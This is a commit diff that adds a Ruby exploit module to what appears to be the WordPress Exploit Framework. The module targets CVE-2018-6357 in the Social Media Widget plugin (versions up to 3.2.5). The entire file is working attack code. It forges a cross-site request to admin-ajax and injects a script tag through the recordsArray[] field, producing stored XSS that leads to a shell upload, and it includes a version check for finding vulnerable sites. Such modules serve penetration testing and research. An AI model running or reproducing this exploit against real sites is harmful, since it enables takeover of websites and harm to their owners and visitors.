Add Social Media Widget <= 3.2.5 CSRF stored XSS shell upload

Author: rastating

modules/exploit/xss/stored/social_media_widget_csrf_xss_shell_upload.rb

@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::SocialMediaWidgetCsrfXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StagedReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Social Media Widget <= 3.2.5 CSRF Stored XSS Shell Upload',
+      author: [
+        'Panagiotis Vagenas', # Disclosure
+        'rastating'           # WPXF module
+      ],
+      references: [
+        ['CVE', '2018-6357'],
+        ['WPVDB', '9017'],
+        ['URL', 'http://lists.openwall.net/full-disclosure/2018/01/10/8']
+      ],
+      date: 'Jan 11 2018'
+    )
+  end
+
+  def check
+    check_plugin_version_from_changelog('acurax-social-media-widget', 'readme.txt', '3.2.6')
+  end
+
+  def vulnerable_url
+    wordpress_url_admin_ajax
+  end
+
+  def initial_script
+    create_basic_post_script(
+      vulnerable_url,
+      'recordsArray[]' => "1'><script>#{xss_ascii_encoded_include_script}<\\/script>",
+      'action' => 'acx_asmw_saveorder'
+    )
+  end
+end